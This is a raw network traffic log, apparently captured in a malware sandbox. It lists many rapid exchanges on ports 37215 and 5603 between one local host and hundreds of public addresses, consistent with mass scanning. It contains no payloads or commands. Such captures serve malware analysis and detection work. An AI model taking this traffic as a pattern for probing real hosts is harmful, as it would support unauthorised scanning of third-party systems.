Dec 3, 2024 22:11:44.176682949 CET	37215	5603	197.222.177.184	192.168.2.23
Dec 3, 2024 22:11:44.176687956 CET	37215	5603	156.161.253.208	192.168.2.23
Dec 3, 2024 22:11:44.176697969 CET	37215	5603	156.190.69.217	192.168.2.23
Dec 3, 2024 22:11:44.176702023 CET	37215	5603	41.112.206.105	192.168.2.23
Dec 3, 2024 22:11:44.176706076 CET	37215	5603	156.75.98.243	192.168.2.23
Dec 3, 2024 22:11:44.176708937 CET	37215	5603	197.25.36.189	192.168.2.23
Dec 3, 2024 22:11:44.176712036 CET	37215	5603	41.201.3.82	192.168.2.23
Dec 3, 2024 22:11:44.176721096 CET	37215	5603	156.81.216.73	192.168.2.23
Dec 3, 2024 22:11:44.176733971 CET	5603	37215	192.168.2.23	197.222.177.184
Dec 3, 2024 22:11:44.176736116 CET	5603	37215	192.168.2.23	41.112.206.105
Dec 3, 2024 22:11:44.176744938 CET	5603	37215	192.168.2.23	156.190.69.217
Dec 3, 2024 22:11:44.176744938 CET	5603	37215	192.168.2.23	156.81.216.73
Dec 3, 2024 22:11:44.176745892 CET	5603	37215	192.168.2.23	156.75.98.243
Dec 3, 2024 22:11:44.176750898 CET	5603	37215	192.168.2.23	197.25.36.189
Dec 3, 2024 22:11:44.176750898 CET	5603	37215	192.168.2.23	41.201.3.82
Dec 3, 2024 22:11:44.176753044 CET	5603	37215	192.168.2.23	156.161.253.208
Dec 3, 2024 22:11:44.177357912 CET	37215	5603	197.35.184.221	192.168.2.23
Dec 3, 2024 22:11:44.177398920 CET	37215	5603	156.235.219.77	192.168.2.23
Dec 3, 2024 22:11:44.177412033 CET	5603	37215	192.168.2.23	197.35.184.221
Dec 3, 2024 22:11:44.177436113 CET	5603	37215	192.168.2.23	156.235.219.77
Dec 3, 2024 22:11:44.177481890 CET	37215	5603	41.138.147.236	192.168.2.23
Dec 3, 2024 22:11:44.177486897 CET	37215	5603	41.103.77.192	192.168.2.23
Dec 3, 2024 22:11:44.177500010 CET	37215	5603	41.249.86.225	192.168.2.23
Dec 3, 2024 22:11:44.177504063 CET	37215	5603	156.75.179.9	192.168.2.23
Dec 3, 2024 22:11:44.177519083 CET	5603	37215	192.168.2.23	41.138.147.236
Dec 3, 2024 22:11:44.177520037 CET	5603	37215	192.168.2.23	41.103.77.192
Dec 3, 2024 22:11:44.177541971 CET	5603	37215	192.168.2.23	41.249.86.225
Dec 3, 2024 22:11:44.177553892 CET	37215	5603	197.100.239.57	192.168.2.23
Dec 3, 2024 22:11:44.177553892 CET	5603	37215	192.168.2.23	156.75.179.9
Dec 3, 2024 22:11:44.177557945 CET	37215	5603	41.230.185.240	192.168.2.23
Dec 3, 2024 22:11:44.177567005 CET	37215	5603	41.60.150.52	192.168.2.23
Dec 3, 2024 22:11:44.177571058 CET	37215	5603	197.190.27.127	192.168.2.23
Dec 3, 2024 22:11:44.177598953 CET	5603	37215	192.168.2.23	41.230.185.240
Dec 3, 2024 22:11:44.177604914 CET	5603	37215	192.168.2.23	197.100.239.57
Dec 3, 2024 22:11:44.177604914 CET	5603	37215	192.168.2.23	41.60.150.52
Dec 3, 2024 22:11:44.177611113 CET	5603	37215	192.168.2.23	197.190.27.127
Dec 3, 2024 22:11:44.177627087 CET	37215	5603	41.140.170.155	192.168.2.23
Dec 3, 2024 22:11:44.177630901 CET	37215	5603	197.43.153.187	192.168.2.23
Dec 3, 2024 22:11:44.177640915 CET	37215	5603	197.140.217.171	192.168.2.23
Dec 3, 2024 22:11:44.177670956 CET	5603	37215	192.168.2.23	41.140.170.155
Dec 3, 2024 22:11:44.177671909 CET	5603	37215	192.168.2.23	197.140.217.171
Dec 3, 2024 22:11:44.177673101 CET	5603	37215	192.168.2.23	197.43.153.187
Dec 3, 2024 22:11:44.177716017 CET	37215	5603	41.96.124.132	192.168.2.23
Dec 3, 2024 22:11:44.177755117 CET	37215	5603	156.31.162.62	192.168.2.23
Dec 3, 2024 22:11:44.177758932 CET	37215	5603	197.238.64.83	192.168.2.23
Dec 3, 2024 22:11:44.177762985 CET	5603	37215	192.168.2.23	41.96.124.132
Dec 3, 2024 22:11:44.177778959 CET	5603	37215	192.168.2.23	156.31.162.62
Dec 3, 2024 22:11:44.177805901 CET	5603	37215	192.168.2.23	197.238.64.83
Dec 3, 2024 22:11:44.177824974 CET	37215	5603	156.116.60.64	192.168.2.23
Dec 3, 2024 22:11:44.177829981 CET	37215	5603	41.87.31.174	192.168.2.23
Dec 3, 2024 22:11:44.177839041 CET	37215	5603	41.193.175.51	192.168.2.23
Dec 3, 2024 22:11:44.177870989 CET	5603	37215	192.168.2.23	156.116.60.64
Dec 3, 2024 22:11:44.177876949 CET	5603	37215	192.168.2.23	41.87.31.174
Dec 3, 2024 22:11:44.177884102 CET	5603	37215	192.168.2.23	41.193.175.51
Dec 3, 2024 22:11:44.177891016 CET	37215	5603	197.138.144.123	192.168.2.23
Dec 3, 2024 22:11:44.177896023 CET	37215	5603	197.195.89.117	192.168.2.23
Dec 3, 2024 22:11:44.177922964 CET	37215	5603	156.25.185.2	192.168.2.23
Dec 3, 2024 22:11:44.177927017 CET	37215	5603	41.94.5.165	192.168.2.23
Dec 3, 2024 22:11:44.177932978 CET	5603	37215	192.168.2.23	197.138.144.123
Dec 3, 2024 22:11:44.177939892 CET	5603	37215	192.168.2.23	197.195.89.117
Dec 3, 2024 22:11:44.177963018 CET	37215	5603	156.196.26.32	192.168.2.23
Dec 3, 2024 22:11:44.177967072 CET	37215	5603	156.193.60.246	192.168.2.23
Dec 3, 2024 22:11:44.177988052 CET	5603	37215	192.168.2.23	156.25.185.2
Dec 3, 2024 22:11:44.177989006 CET	5603	37215	192.168.2.23	41.94.5.165
Dec 3, 2024 22:11:44.178004026 CET	37215	5603	156.239.196.136	192.168.2.23
Dec 3, 2024 22:11:44.178028107 CET	5603	37215	192.168.2.23	156.196.26.32
Dec 3, 2024 22:11:44.178028107 CET	5603	37215	192.168.2.23	156.193.60.246
Dec 3, 2024 22:11:44.178050995 CET	37215	5603	156.141.19.90	192.168.2.23
Dec 3, 2024 22:11:44.178056002 CET	37215	5603	156.215.252.89	192.168.2.23
Dec 3, 2024 22:11:44.178077936 CET	5603	37215	192.168.2.23	156.239.196.136
Dec 3, 2024 22:11:44.178100109 CET	5603	37215	192.168.2.23	156.141.19.90
Dec 3, 2024 22:11:44.178107023 CET	5603	37215	192.168.2.23	156.215.252.89
Dec 3, 2024 22:11:44.178736925 CET	37215	5603	156.88.50.39	192.168.2.23
Dec 3, 2024 22:11:44.178740978 CET	37215	5603	41.7.197.158	192.168.2.23
Dec 3, 2024 22:11:44.178750038 CET	37215	5603	197.250.70.67	192.168.2.23
Dec 3, 2024 22:11:44.178754091 CET	37215	5603	41.98.137.88	192.168.2.23
Dec 3, 2024 22:11:44.178765059 CET	37215	5603	41.82.47.141	192.168.2.23
Dec 3, 2024 22:11:44.178776979 CET	5603	37215	192.168.2.23	41.7.197.158
Dec 3, 2024 22:11:44.178776979 CET	5603	37215	192.168.2.23	156.88.50.39
Dec 3, 2024 22:11:44.178801060 CET	5603	37215	192.168.2.23	41.98.137.88
Dec 3, 2024 22:11:44.178802013 CET	5603	37215	192.168.2.23	197.250.70.67
Dec 3, 2024 22:11:44.178806067 CET	5603	37215	192.168.2.23	41.82.47.141
Dec 3, 2024 22:11:44.178831100 CET	37215	5603	41.223.225.252	192.168.2.23
Dec 3, 2024 22:11:44.178836107 CET	37215	5603	197.153.147.218	192.168.2.23
Dec 3, 2024 22:11:44.178843975 CET	37215	5603	156.98.235.198	192.168.2.23
Dec 3, 2024 22:11:44.178848982 CET	37215	5603	41.1.86.119	192.168.2.23
Dec 3, 2024 22:11:44.178853035 CET	37215	5603	41.225.65.96	192.168.2.23
Dec 3, 2024 22:11:44.178858042 CET	37215	5603	197.61.143.180	192.168.2.23
Dec 3, 2024 22:11:44.178867102 CET	37215	5603	41.75.40.8	192.168.2.23
Dec 3, 2024 22:11:44.178873062 CET	5603	37215	192.168.2.23	41.223.225.252
Dec 3, 2024 22:11:44.178879023 CET	5603	37215	192.168.2.23	197.153.147.218
Dec 3, 2024 22:11:44.178883076 CET	5603	37215	192.168.2.23	156.98.235.198
Dec 3, 2024 22:11:44.178900003 CET	5603	37215	192.168.2.23	41.1.86.119
Dec 3, 2024 22:11:44.178901911 CET	5603	37215	192.168.2.23	41.225.65.96
Dec 3, 2024 22:11:44.178901911 CET	5603	37215	192.168.2.23	197.61.143.180
Dec 3, 2024 22:11:44.178901911 CET	5603	37215	192.168.2.23	41.75.40.8
Dec 3, 2024 22:11:44.179024935 CET	37215	5603	197.218.112.211	192.168.2.23
Dec 3, 2024 22:11:44.179030895 CET	37215	5603	41.187.146.240	192.168.2.23
Dec 3, 2024 22:11:44.179039955 CET	37215	5603	156.33.83.212	192.168.2.23
Dec 3, 2024 22:11:44.179044008 CET	37215	5603	156.228.198.247	192.168.2.23
Dec 3, 2024 22:11:44.179048061 CET	37215	5603	197.250.245.2	192.168.2.23
Dec 3, 2024 22:11:44.179052114 CET	37215	5603	156.151.142.56	192.168.2.23
Dec 3, 2024 22:11:44.179060936 CET	37215	5603	156.175.67.253	192.168.2.23
Dec 3, 2024 22:11:44.179064989 CET	37215	5603	197.62.80.95	192.168.2.23
Dec 3, 2024 22:11:44.179068089 CET	37215	5603	41.86.224.152	192.168.2.23
Dec 3, 2024 22:11:44.179069996 CET	5603	37215	192.168.2.23	156.228.198.247
Dec 3, 2024 22:11:44.179071903 CET	37215	5603	41.25.209.173	192.168.2.23
Dec 3, 2024 22:11:44.179073095 CET	5603	37215	192.168.2.23	197.218.112.211
Dec 3, 2024 22:11:44.179073095 CET	5603	37215	192.168.2.23	41.187.146.240
Dec 3, 2024 22:11:44.179075956 CET	37215	5603	156.231.203.60	192.168.2.23
Dec 3, 2024 22:11:44.179080009 CET	37215	5603	41.107.237.126	192.168.2.23
Dec 3, 2024 22:11:44.179085016 CET	5603	37215	192.168.2.23	197.250.245.2
Dec 3, 2024 22:11:44.179085016 CET	37215	5603	156.74.132.197	192.168.2.23
Dec 3, 2024 22:11:44.179085016 CET	5603	37215	192.168.2.23	156.33.83.212
Dec 3, 2024 22:11:44.179090023 CET	37215	5603	41.90.20.1	192.168.2.23
Dec 3, 2024 22:11:44.179092884 CET	5603	37215	192.168.2.23	156.151.142.56
Dec 3, 2024 22:11:44.179097891 CET	5603	37215	192.168.2.23	197.62.80.95
Dec 3, 2024 22:11:44.179100037 CET	37215	5603	197.187.91.238	192.168.2.23
Dec 3, 2024 22:11:44.179100990 CET	5603	37215	192.168.2.23	156.175.67.253
Dec 3, 2024 22:11:44.179100990 CET	5603	37215	192.168.2.23	41.86.224.152
Dec 3, 2024 22:11:44.179104090 CET	37215	5603	197.68.184.254	192.168.2.23
Dec 3, 2024 22:11:44.179112911 CET	5603	37215	192.168.2.23	156.231.203.60
Dec 3, 2024 22:11:44.179115057 CET	5603	37215	192.168.2.23	41.25.209.173
Dec 3, 2024 22:11:44.179120064 CET	5603	37215	192.168.2.23	197.187.91.238
Dec 3, 2024 22:11:44.179121971 CET	5603	37215	192.168.2.23	156.74.132.197
Dec 3, 2024 22:11:44.179121971 CET	5603	37215	192.168.2.23	41.90.20.1
Dec 3, 2024 22:11:44.179121971 CET	5603	37215	192.168.2.23	41.107.237.126
Dec 3, 2024 22:11:44.179137945 CET	5603	37215	192.168.2.23	197.68.184.254
Dec 3, 2024 22:11:44.179658890 CET	37215	5603	41.25.180.73	192.168.2.23
Dec 3, 2024 22:11:44.179713011 CET	37215	5603	41.56.28.225	192.168.2.23
Dec 3, 2024 22:11:44.179718018 CET	37215	5603	197.116.224.195	192.168.2.23
Dec 3, 2024 22:11:44.179718971 CET	5603	37215	192.168.2.23	41.25.180.73
Dec 3, 2024 22:11:44.179759979 CET	5603	37215	192.168.2.23	197.116.224.195
Dec 3, 2024 22:11:44.179776907 CET	5603	37215	192.168.2.23	41.56.28.225
Dec 3, 2024 22:11:44.179779053 CET	37215	5603	41.124.110.56	192.168.2.23
Dec 3, 2024 22:11:44.179785013 CET	37215	5603	41.95.144.171	192.168.2.23
Dec 3, 2024 22:11:44.179789066 CET	37215	5603	156.171.7.72	192.168.2.23
Dec 3, 2024 22:11:44.179806948 CET	37215	5603	197.3.192.231	192.168.2.23
Dec 3, 2024 22:11:44.179811001 CET	37215	5603	41.155.174.15	192.168.2.23
Dec 3, 2024 22:11:44.179824114 CET	5603	37215	192.168.2.23	156.171.7.72
Dec 3, 2024 22:11:44.179825068 CET	37215	5603	197.33.62.152	192.168.2.23
Dec 3, 2024 22:11:44.179827929 CET	5603	37215	192.168.2.23	41.124.110.56
Dec 3, 2024 22:11:44.179827929 CET	5603	37215	192.168.2.23	41.95.144.171
Dec 3, 2024 22:11:44.179830074 CET	37215	5603	41.113.127.228	192.168.2.23
Dec 3, 2024 22:11:44.179835081 CET	5603	37215	192.168.2.23	41.155.174.15
Dec 3, 2024 22:11:44.179841995 CET	5603	37215	192.168.2.23	197.3.192.231
Dec 3, 2024 22:11:44.179862976 CET	5603	37215	192.168.2.23	41.113.127.228
Dec 3, 2024 22:11:44.179878950 CET	5603	37215	192.168.2.23	197.33.62.152
Dec 3, 2024 22:11:44.179897070 CET	37215	5603	41.105.43.205	192.168.2.23
Dec 3, 2024 22:11:44.179900885 CET	37215	5603	41.211.52.221	192.168.2.23
Dec 3, 2024 22:11:44.179910898 CET	37215	5603	197.8.226.53	192.168.2.23
Dec 3, 2024 22:11:44.179915905 CET	37215	5603	197.100.63.175	192.168.2.23
Dec 3, 2024 22:11:44.179944992 CET	5603	37215	192.168.2.23	41.105.43.205
Dec 3, 2024 22:11:44.179945946 CET	5603	37215	192.168.2.23	197.100.63.175
Dec 3, 2024 22:11:44.179953098 CET	5603	37215	192.168.2.23	197.8.226.53
Dec 3, 2024 22:11:44.179958105 CET	5603	37215	192.168.2.23	41.211.52.221
Dec 3, 2024 22:11:44.179959059 CET	37215	5603	197.234.240.222	192.168.2.23
Dec 3, 2024 22:11:44.179964066 CET	37215	5603	197.60.92.229	192.168.2.23
Dec 3, 2024 22:11:44.179966927 CET	37215	5603	197.165.206.16	192.168.2.23
Dec 3, 2024 22:11:44.179997921 CET	37215	5603	41.95.138.50	192.168.2.23
Dec 3, 2024 22:11:44.180001974 CET	5603	37215	192.168.2.23	197.60.92.229
Dec 3, 2024 22:11:44.180006027 CET	5603	37215	192.168.2.23	197.234.240.222
Dec 3, 2024 22:11:44.180012941 CET	5603	37215	192.168.2.23	197.165.206.16
Dec 3, 2024 22:11:44.180036068 CET	5603	37215	192.168.2.23	41.95.138.50
Dec 3, 2024 22:11:44.180037022 CET	37215	5603	156.26.235.33	192.168.2.23
Dec 3, 2024 22:11:44.180041075 CET	37215	5603	197.136.15.59	192.168.2.23
Dec 3, 2024 22:11:44.180068970 CET	37215	5603	41.242.206.2	192.168.2.23
Dec 3, 2024 22:11:44.180073023 CET	37215	5603	41.228.142.251	192.168.2.23
Dec 3, 2024 22:11:44.180074930 CET	5603	37215	192.168.2.23	197.136.15.59
Dec 3, 2024 22:11:44.180083990 CET	5603	37215	192.168.2.23	156.26.235.33
Dec 3, 2024 22:11:44.180108070 CET	5603	37215	192.168.2.23	41.242.206.2
Dec 3, 2024 22:11:44.180126905 CET	37215	5603	41.168.2.31	192.168.2.23
Dec 3, 2024 22:11:44.180134058 CET	5603	37215	192.168.2.23	41.228.142.251
Dec 3, 2024 22:11:44.180164099 CET	37215	5603	156.95.61.48	192.168.2.23
Dec 3, 2024 22:11:44.180174112 CET	5603	37215	192.168.2.23	41.168.2.31
Dec 3, 2024 22:11:44.180202007 CET	5603	37215	192.168.2.23	156.95.61.48
Dec 3, 2024 22:11:44.180202961 CET	37215	5603	156.148.105.217	192.168.2.23
Dec 3, 2024 22:11:44.180208921 CET	37215	5603	197.172.101.30	192.168.2.23
Dec 3, 2024 22:11:44.180248976 CET	5603	37215	192.168.2.23	156.148.105.217
Dec 3, 2024 22:11:44.180248976 CET	5603	37215	192.168.2.23	197.172.101.30
Dec 3, 2024 22:11:44.180252075 CET	37215	5603	156.54.208.151	192.168.2.23
Dec 3, 2024 22:11:44.180255890 CET	37215	5603	41.43.132.143	192.168.2.23
Dec 3, 2024 22:11:44.180296898 CET	5603	37215	192.168.2.23	156.54.208.151
Dec 3, 2024 22:11:44.180296898 CET	5603	37215	192.168.2.23	41.43.132.143
Dec 3, 2024 22:11:44.181018114 CET	37215	5603	41.243.175.236	192.168.2.23
Dec 3, 2024 22:11:44.181021929 CET	37215	5603	41.114.201.19	192.168.2.23
Dec 3, 2024 22:11:44.181030989 CET	37215	5603	197.160.2.219	192.168.2.23
Dec 3, 2024 22:11:44.181035995 CET	37215	5603	156.33.15.62	192.168.2.23
Dec 3, 2024 22:11:44.181041002 CET	37215	5603	197.33.92.184	192.168.2.23
Dec 3, 2024 22:11:44.181054115 CET	37215	5603	41.112.1.208	192.168.2.23
Dec 3, 2024 22:11:44.181056976 CET	37215	5603	156.167.253.45	192.168.2.23
Dec 3, 2024 22:11:44.181068897 CET	5603	37215	192.168.2.23	41.114.201.19
Dec 3, 2024 22:11:44.181070089 CET	5603	37215	192.168.2.23	41.243.175.236
Dec 3, 2024 22:11:44.181071997 CET	5603	37215	192.168.2.23	197.160.2.219
Dec 3, 2024 22:11:44.181077957 CET	5603	37215	192.168.2.23	156.33.15.62
Dec 3, 2024 22:11:44.181082010 CET	37215	5603	156.5.63.56	192.168.2.23
Dec 3, 2024 22:11:44.181083918 CET	5603	37215	192.168.2.23	197.33.92.184
Dec 3, 2024 22:11:44.181092978 CET	5603	37215	192.168.2.23	41.112.1.208
Dec 3, 2024 22:11:44.181097984 CET	37215	5603	41.198.245.77	192.168.2.23
Dec 3, 2024 22:11:44.181098938 CET	5603	37215	192.168.2.23	156.167.253.45
Dec 3, 2024 22:11:44.181102991 CET	37215	5603	41.237.61.15	192.168.2.23
Dec 3, 2024 22:11:44.181114912 CET	5603	37215	192.168.2.23	156.5.63.56
Dec 3, 2024 22:11:44.181142092 CET	5603	37215	192.168.2.23	41.198.245.77
Dec 3, 2024 22:11:44.181149960 CET	5603	37215	192.168.2.23	41.237.61.15
Dec 3, 2024 22:11:44.181152105 CET	37215	5603	197.117.16.183	192.168.2.23
Dec 3, 2024 22:11:44.181158066 CET	37215	5603	156.234.222.68	192.168.2.23
Dec 3, 2024 22:11:44.181195974 CET	5603	37215	192.168.2.23	197.117.16.183
Dec 3, 2024 22:11:44.181200027 CET	5603	37215	192.168.2.23	156.234.222.68
Dec 3, 2024 22:11:44.181286097 CET	37215	5603	197.148.169.55	192.168.2.23
Dec 3, 2024 22:11:44.181291103 CET	37215	5603	197.83.91.90	192.168.2.23
Dec 3, 2024 22:11:44.181299925 CET	37215	5603	156.194.172.7	192.168.2.23
Dec 3, 2024 22:11:44.181303978 CET	37215	5603	41.92.95.182	192.168.2.23
Dec 3, 2024 22:11:44.181308031 CET	37215	5603	156.50.170.36	192.168.2.23
Dec 3, 2024 22:11:44.181312084 CET	37215	5603	197.68.204.14	192.168.2.23
Dec 3, 2024 22:11:44.181320906 CET	37215	5603	197.98.220.2	192.168.2.23
Dec 3, 2024 22:11:44.181324005 CET	37215	5603	41.254.201.182	192.168.2.23
Dec 3, 2024 22:11:44.181325912 CET	5603	37215	192.168.2.23	197.83.91.90
Dec 3, 2024 22:11:44.181328058 CET	5603	37215	192.168.2.23	156.194.172.7
Dec 3, 2024 22:11:44.181329012 CET	37215	5603	41.137.68.38	192.168.2.23
Dec 3, 2024 22:11:44.181333065 CET	37215	5603	41.128.168.4	192.168.2.23
Dec 3, 2024 22:11:44.181337118 CET	37215	5603	197.69.23.190	192.168.2.23
Dec 3, 2024 22:11:44.181339979 CET	37215	5603	156.32.79.228	192.168.2.23
Dec 3, 2024 22:11:44.181340933 CET	5603	37215	192.168.2.23	197.148.169.55
Dec 3, 2024 22:11:44.181340933 CET	5603	37215	192.168.2.23	41.92.95.182
Dec 3, 2024 22:11:44.181344986 CET	5603	37215	192.168.2.23	197.68.204.14
Dec 3, 2024 22:11:44.181344986 CET	5603	37215	192.168.2.23	156.50.170.36
Dec 3, 2024 22:11:44.181344986 CET	5603	37215	192.168.2.23	41.254.201.182
Dec 3, 2024 22:11:44.181345940 CET	37215	5603	41.86.168.194	192.168.2.23
Dec 3, 2024 22:11:44.181355000 CET	37215	5603	41.33.185.24	192.168.2.23
Dec 3, 2024 22:11:44.181355000 CET	5603	37215	192.168.2.23	197.98.220.2
Dec 3, 2024 22:11:44.181355000 CET	5603	37215	192.168.2.23	41.137.68.38
Dec 3, 2024 22:11:44.181358099 CET	37215	5603	156.173.105.97	192.168.2.23
Dec 3, 2024 22:11:44.181361914 CET	37215	5603	197.146.255.29	192.168.2.23
Dec 3, 2024 22:11:44.181364059 CET	5603	37215	192.168.2.23	197.69.23.190
Dec 3, 2024 22:11:44.181370020 CET	5603	37215	192.168.2.23	156.32.79.228
Dec 3, 2024 22:11:44.181372881 CET	5603	37215	192.168.2.23	41.128.168.4
Dec 3, 2024 22:11:44.181376934 CET	5603	37215	192.168.2.23	41.86.168.194
Dec 3, 2024 22:11:44.181384087 CET	5603	37215	192.168.2.23	41.33.185.24
Dec 3, 2024 22:11:44.181396008 CET	5603	37215	192.168.2.23	156.173.105.97
Dec 3, 2024 22:11:44.181396961 CET	5603	37215	192.168.2.23	197.146.255.29
Dec 3, 2024 22:11:44.182209015 CET	37215	5603	156.21.3.8	192.168.2.23
Dec 3, 2024 22:11:44.182240009 CET	37215	5603	156.83.112.104	192.168.2.23
Dec 3, 2024 22:11:44.182244062 CET	37215	5603	156.30.236.206	192.168.2.23
Dec 3, 2024 22:11:44.182252884 CET	37215	5603	41.208.23.29	192.168.2.23
Dec 3, 2024 22:11:44.182256937 CET	37215	5603	197.193.41.55	192.168.2.23
Dec 3, 2024 22:11:44.182262897 CET	37215	5603	156.202.35.144	192.168.2.23
Dec 3, 2024 22:11:44.182265997 CET	5603	37215	192.168.2.23	156.21.3.8
Dec 3, 2024 22:11:44.182265997 CET	37215	5603	41.61.121.145	192.168.2.23
Dec 3, 2024 22:11:44.182279110 CET	5603	37215	192.168.2.23	156.30.236.206
Dec 3, 2024 22:11:44.182285070 CET	5603	37215	192.168.2.23	156.83.112.104
Dec 3, 2024 22:11:44.182296991 CET	5603	37215	192.168.2.23	197.193.41.55
Dec 3, 2024 22:11:44.182300091 CET	5603	37215	192.168.2.23	41.61.121.145
Dec 3, 2024 22:11:44.182300091 CET	5603	37215	192.168.2.23	41.208.23.29
Dec 3, 2024 22:11:44.182305098 CET	5603	37215	192.168.2.23	156.202.35.144
Dec 3, 2024 22:11:44.182482958 CET	37215	5603	156.178.58.197	192.168.2.23
Dec 3, 2024 22:11:44.182487011 CET	37215	5603	41.31.147.83	192.168.2.23
Dec 3, 2024 22:11:44.182496071 CET	37215	5603	197.90.206.103	192.168.2.23
Dec 3, 2024 22:11:44.182499886 CET	37215	5603	156.212.74.76	192.168.2.23
Dec 3, 2024 22:11:44.182503939 CET	37215	5603	41.10.13.116	192.168.2.23
Dec 3, 2024 22:11:44.182507992 CET	37215	5603	41.189.204.14	192.168.2.23
Dec 3, 2024 22:11:44.182516098 CET	37215	5603	156.132.132.181	192.168.2.23
Dec 3, 2024 22:11:44.182519913 CET	37215	5603	197.69.19.58	192.168.2.23
Dec 3, 2024 22:11:44.182523966 CET	37215	5603	41.78.166.147	192.168.2.23
Dec 3, 2024 22:11:44.182526112 CET	5603	37215	192.168.2.23	41.31.147.83
Dec 3, 2024 22:11:44.182528019 CET	37215	5603	41.236.202.71	192.168.2.23
Dec 3, 2024 22:11:44.182531118 CET	5603	37215	192.168.2.23	197.90.206.103
Dec 3, 2024 22:11:44.182531118 CET	5603	37215	192.168.2.23	156.212.74.76
Dec 3, 2024 22:11:44.182532072 CET	37215	5603	41.178.23.86	192.168.2.23
Dec 3, 2024 22:11:44.182533979 CET	5603	37215	192.168.2.23	156.178.58.197
Dec 3, 2024 22:11:44.182535887 CET	37215	5603	197.176.72.199	192.168.2.23
Dec 3, 2024 22:11:44.182542086 CET	5603	37215	192.168.2.23	156.132.132.181
Dec 3, 2024 22:11:44.182548046 CET	37215	5603	41.248.229.116	192.168.2.23
Dec 3, 2024 22:11:44.182549953 CET	5603	37215	192.168.2.23	41.10.13.116
Dec 3, 2024 22:11:44.182549953 CET	5603	37215	192.168.2.23	41.189.204.14
Dec 3, 2024 22:11:44.182552099 CET	5603	37215	192.168.2.23	197.69.19.58
Dec 3, 2024 22:11:44.182552099 CET	5603	37215	192.168.2.23	41.236.202.71
Dec 3, 2024 22:11:44.182552099 CET	5603	37215	192.168.2.23	41.178.23.86
Dec 3, 2024 22:11:44.182557106 CET	5603	37215	192.168.2.23	41.78.166.147
Dec 3, 2024 22:11:44.182557106 CET	37215	5603	197.125.64.234	192.168.2.23
Dec 3, 2024 22:11:44.182562113 CET	37215	5603	197.75.253.155	192.168.2.23
Dec 3, 2024 22:11:44.182564974 CET	37215	5603	197.234.176.186	192.168.2.23
Dec 3, 2024 22:11:44.182569027 CET	37215	5603	156.19.192.101	192.168.2.23
Dec 3, 2024 22:11:44.182576895 CET	37215	5603	156.195.119.125	192.168.2.23
Dec 3, 2024 22:11:44.182579994 CET	37215	5603	41.103.9.226	192.168.2.23
Dec 3, 2024 22:11:44.182588100 CET	5603	37215	192.168.2.23	197.176.72.199
Dec 3, 2024 22:11:44.182589054 CET	37215	5603	197.138.35.112	192.168.2.23
Dec 3, 2024 22:11:44.182591915 CET	5603	37215	192.168.2.23	41.248.229.116
Dec 3, 2024 22:11:44.182594061 CET	37215	5603	156.48.60.30	192.168.2.23
Dec 3, 2024 22:11:44.182600975 CET	5603	37215	192.168.2.23	197.125.64.234
Dec 3, 2024 22:11:44.182605982 CET	5603	37215	192.168.2.23	156.195.119.125
Dec 3, 2024 22:11:44.182606936 CET	5603	37215	192.168.2.23	197.234.176.186
Dec 3, 2024 22:11:44.182607889 CET	5603	37215	192.168.2.23	197.75.253.155
Dec 3, 2024 22:11:44.182612896 CET	5603	37215	192.168.2.23	156.19.192.101
Dec 3, 2024 22:11:44.182615042 CET	5603	37215	192.168.2.23	41.103.9.226
Dec 3, 2024 22:11:44.182619095 CET	5603	37215	192.168.2.23	197.138.35.112
Dec 3, 2024 22:11:44.182631969 CET	5603	37215	192.168.2.23	156.48.60.30
Dec 3, 2024 22:11:44.183039904 CET	37215	5603	197.51.71.238	192.168.2.23
Dec 3, 2024 22:11:44.183043957 CET	37215	5603	41.93.183.22	192.168.2.23
Dec 3, 2024 22:11:44.183085918 CET	5603	37215	192.168.2.23	197.51.71.238
Dec 3, 2024 22:11:44.183089972 CET	5603	37215	192.168.2.23	41.93.183.22
Dec 3, 2024 22:11:44.183099031 CET	37215	5603	156.244.216.11	192.168.2.23
Dec 3, 2024 22:11:44.183178902 CET	37215	5603	156.35.91.129	192.168.2.23
Dec 3, 2024 22:11:44.183183908 CET	37215	5603	197.120.0.141	192.168.2.23
Dec 3, 2024 22:11:44.183197021 CET	5603	37215	192.168.2.23	156.244.216.11
Dec 3, 2024 22:11:44.183222055 CET	5603	37215	192.168.2.23	156.35.91.129
Dec 3, 2024 22:11:44.183223963 CET	37215	5603	156.215.67.205	192.168.2.23
Dec 3, 2024 22:11:44.183229923 CET	37215	5603	156.89.76.48	192.168.2.23
Dec 3, 2024 22:11:44.183243990 CET	5603	37215	192.168.2.23	197.120.0.141
Dec 3, 2024 22:11:44.183265924 CET	5603	37215	192.168.2.23	156.215.67.205
Dec 3, 2024 22:11:44.183271885 CET	37215	5603	41.75.165.229	192.168.2.23
Dec 3, 2024 22:11:44.183276892 CET	37215	5603	41.38.176.14	192.168.2.23
Dec 3, 2024 22:11:44.183281898 CET	5603	37215	192.168.2.23	156.89.76.48
Dec 3, 2024 22:11:44.183284998 CET	37215	5603	197.53.99.113	192.168.2.23
Dec 3, 2024 22:11:44.183325052 CET	5603	37215	192.168.2.23	41.75.165.229
Dec 3, 2024 22:11:44.183331013 CET	5603	37215	192.168.2.23	197.53.99.113
Dec 3, 2024 22:11:44.183334112 CET	5603	37215	192.168.2.23	41.38.176.14
Dec 3, 2024 22:11:44.183347940 CET	37215	5603	41.140.162.136	192.168.2.23
Dec 3, 2024 22:11:44.183352947 CET	37215	5603	156.214.176.26	192.168.2.23
Dec 3, 2024 22:11:44.183362007 CET	37215	5603	41.205.151.144	192.168.2.23
Dec 3, 2024 22:11:44.183374882 CET	37215	5603	41.202.193.198	192.168.2.23
Dec 3, 2024 22:11:44.183378935 CET	37215	5603	197.2.67.28	192.168.2.23
Dec 3, 2024 22:11:44.183392048 CET	5603	37215	192.168.2.23	41.140.162.136
Dec 3, 2024 22:11:44.183396101 CET	5603	37215	192.168.2.23	41.205.151.144
Dec 3, 2024 22:11:44.183398008 CET	5603	37215	192.168.2.23	156.214.176.26
Dec 3, 2024 22:11:44.183401108 CET	37215	5603	156.226.95.92	192.168.2.23
Dec 3, 2024 22:11:44.183406115 CET	37215	5603	41.181.252.34	192.168.2.23
Dec 3, 2024 22:11:44.183409929 CET	37215	5603	156.184.132.86	192.168.2.23
Dec 3, 2024 22:11:44.183413982 CET	5603	37215	192.168.2.23	41.202.193.198
Dec 3, 2024 22:11:44.183424950 CET	5603	37215	192.168.2.23	197.2.67.28
Dec 3, 2024 22:11:44.183434963 CET	5603	37215	192.168.2.23	156.226.95.92
Dec 3, 2024 22:11:44.183442116 CET	5603	37215	192.168.2.23	41.181.252.34
Dec 3, 2024 22:11:44.183442116 CET	5603	37215	192.168.2.23	156.184.132.86
Dec 3, 2024 22:11:44.183469057 CET	37215	5603	197.143.236.27	192.168.2.23
